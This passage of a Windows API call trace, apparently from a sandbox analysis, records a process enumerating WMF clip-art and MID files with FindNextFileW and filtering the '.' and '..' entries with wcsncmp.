	[0095.301] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01151_.WMF", cAlternateFileName="")) returned 1
	[0095.301] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.301] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.301] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01152_.WMF", cAlternateFileName="")) returned 1
	[0095.301] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.301] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.301] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd790bed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd790bed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe04, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01157_.WMF", cAlternateFileName="")) returned 1
	[0095.301] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.301] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.301] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01160_.WMF", cAlternateFileName="")) returned 1
	[0095.301] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.301] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.301] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01162_.WMF", cAlternateFileName="")) returned 1
	[0095.301] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.301] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.301] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01163_.WMF", cAlternateFileName="")) returned 1
	[0095.301] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.301] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.302] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1
	[0095.302] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.302] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.302] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1
	[0095.302] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.302] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.302] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1
	[0095.302] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.302] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.302] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1
	[0095.302] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.302] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.302] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1
	[0095.302] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.302] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.302] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1
	[0095.302] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.302] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.302] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1
	[0095.302] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.302] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.302] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1
	[0095.303] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.303] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.303] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1
	[0095.303] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.303] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.303] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1
	[0095.304] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.304] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.304] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1
	[0095.304] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.304] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.304] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1
	[0095.304] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.304] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.304] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1
	[0095.304] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.304] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.304] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1
	[0095.304] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.304] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.304] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1
	[0095.304] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.304] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.304] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1
	[0095.304] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.304] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.304] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1
	[0095.304] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.304] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.304] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1
	[0095.304] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.304] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.304] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1
	[0095.304] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.305] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.305] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1
	[0095.305] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.305] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.305] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1
	[0095.305] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.305] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.305] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe736331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1
	[0095.305] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.305] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.305] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1
	[0095.305] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.305] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.305] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7100f8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1
	[0095.305] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.305] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.305] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1
	[0095.305] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.305] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.305] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1
	[0095.305] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.305] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.305] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1
	[0095.305] wcsncmp (_String1="D", _String2=".", _MaxCount=0x1) returned 22
	[0095.305] wcsncmp (_String1="DD", _String2="..", _MaxCount=0x2) returned 22
	[0095.305] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1
	[0095.305] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0095.305] wcsncmp (_String1="EA", _String2="..", _MaxCount=0x2) returned 23
	[0095.305] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1
	[0095.306] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0095.306] wcsncmp (_String1="ED", _String2="..", _MaxCount=0x2) returned 23
	[0095.306] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1
	[0095.306] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0095.306] wcsncmp (_String1="ED", _String2="..", _MaxCount=0x2) returned 23
	[0095.306] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x313b0d8 | out: lpFindFileData=0x313b0d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1
	[0095.306] wcsncmp (_String1="E", _String2=".", _MaxCount=0x1) returned 23
	[0095.306] wcsncmp (_String1="ED", _String2="..", _MaxCount=0x2) returned 23
